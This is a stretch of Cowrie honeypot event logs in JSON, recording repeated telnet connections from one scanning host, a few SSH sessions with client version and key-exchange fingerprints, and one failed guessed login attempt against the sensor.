{"eventid":"cowrie.session.closed","duration":30.658527851104736,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:59.586226Z","src_ip":"162.55.233.176","session":"a3ff27872330","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.57907032966614,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:59.752296Z","src_ip":"162.55.233.176","session":"cfa916fd705b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.136528968811035,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:59.872208Z","src_ip":"162.55.233.176","session":"eb5f2a00e2c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59980,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8358509c2cc","protocol":"telnet","message":"New connection: 162.55.233.176:59980 (159.203.135.109:23) [session: f8358509c2cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:59.885236Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59988,"dst_ip":"159.203.135.109","dst_port":23,"session":"44962ca72046","protocol":"telnet","message":"New connection: 162.55.233.176:59988 (159.203.135.109:23) [session: 44962ca72046]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:59.910799Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59994,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac3181f8bb0b","protocol":"telnet","message":"New connection: 162.55.233.176:59994 (159.203.135.109:23) [session: ac3181f8bb0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:00.020439Z"}
{"eventid":"cowrie.session.closed","duration":35.206326723098755,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:00.044961Z","src_ip":"162.55.233.176","session":"9d1149babaed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.145892858505249,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:00.075929Z","src_ip":"188.208.141.113","session":"bc2ff6cb8cce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59996,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6e93c9e699d","protocol":"telnet","message":"New connection: 162.55.233.176:59996 (159.203.135.109:23) [session: a6e93c9e699d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:00.446306Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":60000,"dst_ip":"159.203.135.109","dst_port":23,"session":"c14a7d2775df","protocol":"telnet","message":"New connection: 162.55.233.176:60000 (159.203.135.109:23) [session: c14a7d2775df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:00.804878Z"}
{"eventid":"cowrie.session.closed","duration":35.218924045562744,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:00.935178Z","src_ip":"162.55.233.176","session":"1fed0d32f0c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":60014,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce0c4c693f5e","protocol":"telnet","message":"New connection: 162.55.233.176:60014 (159.203.135.109:23) [session: ce0c4c693f5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:01.153607Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":60030,"dst_ip":"159.203.135.109","dst_port":23,"session":"1894de8154fb","protocol":"telnet","message":"New connection: 162.55.233.176:60030 (159.203.135.109:23) [session: 1894de8154fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:01.513332Z"}
{"eventid":"cowrie.session.closed","duration":34.04534196853638,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:01.717435Z","src_ip":"162.55.233.176","session":"751ef490d608","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":60044,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc59df16927e","protocol":"telnet","message":"New connection: 162.55.233.176:60044 (159.203.135.109:23) [session: bc59df16927e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:01.830042Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":60050,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea75a9508b04","protocol":"telnet","message":"New connection: 162.55.233.176:60050 (159.203.135.109:23) [session: ea75a9508b04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:01.842559Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":60060,"dst_ip":"159.203.135.109","dst_port":23,"session":"228c4a7c9a09","protocol":"telnet","message":"New connection: 162.55.233.176:60060 (159.203.135.109:23) [session: 228c4a7c9a09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:01.956608Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":60070,"dst_ip":"159.203.135.109","dst_port":23,"session":"43340855361b","protocol":"telnet","message":"New connection: 162.55.233.176:60070 (159.203.135.109:23) [session: 43340855361b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:02.142268Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":60078,"dst_ip":"159.203.135.109","dst_port":23,"session":"a66257feaa60","protocol":"telnet","message":"New connection: 162.55.233.176:60078 (159.203.135.109:23) [session: a66257feaa60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:02.597073Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":60092,"dst_ip":"159.203.135.109","dst_port":23,"session":"f335aaed85c6","protocol":"telnet","message":"New connection: 162.55.233.176:60092 (159.203.135.109:23) [session: f335aaed85c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:02.602597Z"}
{"eventid":"cowrie.session.closed","duration":31.721299409866333,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:03.025254Z","src_ip":"162.55.233.176","session":"2210a6e0063a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.21517729759216,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:03.254268Z","src_ip":"162.55.233.176","session":"92d4039de5a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51212,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3b0bcc021b3","protocol":"telnet","message":"New connection: 162.55.233.176:51212 (159.203.135.109:23) [session: b3b0bcc021b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:03.301014Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51222,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9e28b58c069","protocol":"telnet","message":"New connection: 162.55.233.176:51222 (159.203.135.109:23) [session: a9e28b58c069]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:03.450258Z"}
{"eventid":"cowrie.session.closed","duration":36.5164110660553,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:03.747315Z","src_ip":"162.55.233.176","session":"7803f4e1a706","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.068577766418457,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:03.949422Z","src_ip":"162.55.233.176","session":"77c6162c4ab2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51234,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9ba596862b2","protocol":"telnet","message":"New connection: 162.55.233.176:51234 (159.203.135.109:23) [session: a9ba596862b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:04.726421Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51248,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5ce660dbfd2","protocol":"telnet","message":"New connection: 162.55.233.176:51248 (159.203.135.109:23) [session: c5ce660dbfd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:04.892041Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51254,"dst_ip":"159.203.135.109","dst_port":23,"session":"705d423661e8","protocol":"telnet","message":"New connection: 162.55.233.176:51254 (159.203.135.109:23) [session: 705d423661e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:04.991796Z"}
{"eventid":"cowrie.session.closed","duration":33.006038188934326,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:05.015007Z","src_ip":"162.55.233.176","session":"c7528b8c81b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51268,"dst_ip":"159.203.135.109","dst_port":23,"session":"c58acbde28d8","protocol":"telnet","message":"New connection: 162.55.233.176:51268 (159.203.135.109:23) [session: c58acbde28d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:05.070707Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51284,"dst_ip":"159.203.135.109","dst_port":23,"session":"db3abf5f33c1","protocol":"telnet","message":"New connection: 162.55.233.176:51284 (159.203.135.109:23) [session: db3abf5f33c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:05.208081Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":33346,"dst_ip":"10.17.0.5","dst_port":23,"session":"86adfea31ef8","protocol":"telnet","message":"New connection: 188.208.141.113:33346 (10.17.0.5:23) [session: 86adfea31ef8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:05.390684Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51298,"dst_ip":"159.203.135.109","dst_port":23,"session":"a08567d7144d","protocol":"telnet","message":"New connection: 162.55.233.176:51298 (159.203.135.109:23) [session: a08567d7144d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:05.399396Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51300,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3e7b22bd075","protocol":"telnet","message":"New connection: 162.55.233.176:51300 (159.203.135.109:23) [session: b3e7b22bd075]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:05.535938Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51304,"dst_ip":"159.203.135.109","dst_port":23,"session":"3388bc2d0750","protocol":"telnet","message":"New connection: 162.55.233.176:51304 (159.203.135.109:23) [session: 3388bc2d0750]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:05.679945Z"}
{"eventid":"cowrie.session.closed","duration":31.31853675842285,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:05.687235Z","src_ip":"162.55.233.176","session":"71160c08b5d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.36716818809509,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:05.861320Z","src_ip":"162.55.233.176","session":"35760d113ab7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51318,"dst_ip":"159.203.135.109","dst_port":23,"session":"6418f12626ec","protocol":"telnet","message":"New connection: 162.55.233.176:51318 (159.203.135.109:23) [session: 6418f12626ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:06.008330Z"}
{"eventid":"cowrie.session.closed","duration":33.371102809906006,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:06.055685Z","src_ip":"162.55.233.176","session":"7b9bfe322e68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.9919810295105,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:06.100942Z","src_ip":"162.55.233.176","session":"26d7a90d9f70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51324,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ab01981cb51","protocol":"telnet","message":"New connection: 162.55.233.176:51324 (159.203.135.109:23) [session: 2ab01981cb51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:06.191018Z"}
{"eventid":"cowrie.session.closed","duration":34.397791385650635,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:06.433953Z","src_ip":"162.55.233.176","session":"723d95d3ec2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.66537356376648,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:06.543573Z","src_ip":"162.55.233.176","session":"a8748e467601","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.69888639450073,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:06.588283Z","src_ip":"162.55.233.176","session":"6b7a4b6db571","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.830305337905884,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:06.670367Z","src_ip":"162.55.233.176","session":"1c268876f8ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51330,"dst_ip":"159.203.135.109","dst_port":23,"session":"0bb8179931a2","protocol":"telnet","message":"New connection: 162.55.233.176:51330 (159.203.135.109:23) [session: 0bb8179931a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:07.177646Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.170.173.26","src_port":34093,"dst_ip":"159.203.135.109","dst_port":22,"session":"f98e96bd7220","protocol":"ssh","message":"New connection: 103.170.173.26:34093 (159.203.135.109:22) [session: f98e96bd7220]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:07.458505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:07.463042Z","src_ip":"103.170.173.26","session":"f98e96bd7220","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.2304818630218506,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:07.621032Z","src_ip":"188.208.141.113","session":"86adfea31ef8","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:07.741351Z","src_ip":"103.170.173.26","session":"f98e96bd7220","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.41651439666748,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:07.768408Z","src_ip":"162.55.233.176","session":"df8341e27d15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.69957709312439,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:07.860186Z","src_ip":"162.55.233.176","session":"834c93d7b652","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.67387843132019,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:08.228852Z","src_ip":"162.55.233.176","session":"51b56e5b53f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.69558262825012,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:08.246755Z","src_ip":"162.55.233.176","session":"41cd18837efa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.91075086593628,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:08.281808Z","src_ip":"162.55.233.176","session":"0bb7a310dfe3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51338,"dst_ip":"159.203.135.109","dst_port":23,"session":"5650365f2be5","protocol":"telnet","message":"New connection: 162.55.233.176:51338 (159.203.135.109:23) [session: 5650365f2be5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:08.301392Z"}
{"eventid":"cowrie.session.closed","duration":31.97681164741516,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:08.846232Z","src_ip":"162.55.233.176","session":"6be3a298a070","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.42993474006653,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:08.852538Z","src_ip":"162.55.233.176","session":"a889e4eb0d09","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"mc","password":"minecraft","message":"login attempt [mc/minecraft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:08.897903Z","src_ip":"103.170.173.26","session":"f98e96bd7220","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.965057611465454,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:09.043051Z","src_ip":"162.55.233.176","session":"c4fe868e6923","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.99382185935974,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:09.098162Z","src_ip":"162.55.233.176","session":"bd7f7d165958","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.10069251060486,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:09.142204Z","src_ip":"162.55.233.176","session":"f573c434c248","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.395230770111084,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:09.258882Z","src_ip":"162.55.233.176","session":"cc9578697b43","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51350,"dst_ip":"159.203.135.109","dst_port":23,"session":"5392ff8c4dee","protocol":"telnet","message":"New connection: 162.55.233.176:51350 (159.203.135.109:23) [session: 5392ff8c4dee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:09.411008Z"}
{"eventid":"cowrie.session.closed","duration":34.621617794036865,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:10.039243Z","src_ip":"162.55.233.176","session":"a4b3d6d97f66","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:10.181569Z","src_ip":"103.170.173.26","session":"f98e96bd7220","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51366,"dst_ip":"159.203.135.109","dst_port":23,"session":"f17c70f0e860","protocol":"telnet","message":"New connection: 162.55.233.176:51366 (159.203.135.109:23) [session: f17c70f0e860]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:10.211344Z"}
{"eventid":"cowrie.session.closed","duration":30.801551818847656,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:10.312369Z","src_ip":"162.55.233.176","session":"43a1cf7e8ca8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51382,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae2e8d8109dc","protocol":"telnet","message":"New connection: 162.55.233.176:51382 (159.203.135.109:23) [session: ae2e8d8109dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:10.410100Z"}
{"eventid":"cowrie.session.closed","duration":31.41470766067505,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:10.593435Z","src_ip":"162.55.233.176","session":"f0f779ab0deb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.137.11.14","src_port":55162,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5cd0d5fef50","protocol":"ssh","message":"New connection: 38.137.11.14:55162 (10.17.0.5:22) [session: d5cd0d5fef50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:10.686537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:10.691386Z","src_ip":"38.137.11.14","session":"d5cd0d5fef50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51390,"dst_ip":"159.203.135.109","dst_port":23,"session":"39771bec0bb1","protocol":"telnet","message":"New connection: 162.55.233.176:51390 (159.203.135.109:23) [session: 39771bec0bb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:10.722043Z"}
{"eventid":"cowrie.session.closed","duration":35.058584213256836,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:10.738281Z","src_ip":"162.55.233.176","session":"e8ac9c6b1d73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51406,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7581454ba08","protocol":"telnet","message":"New connection: 162.55.233.176:51406 (159.203.135.109:23) [session: f7581454ba08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:10.791254Z"}
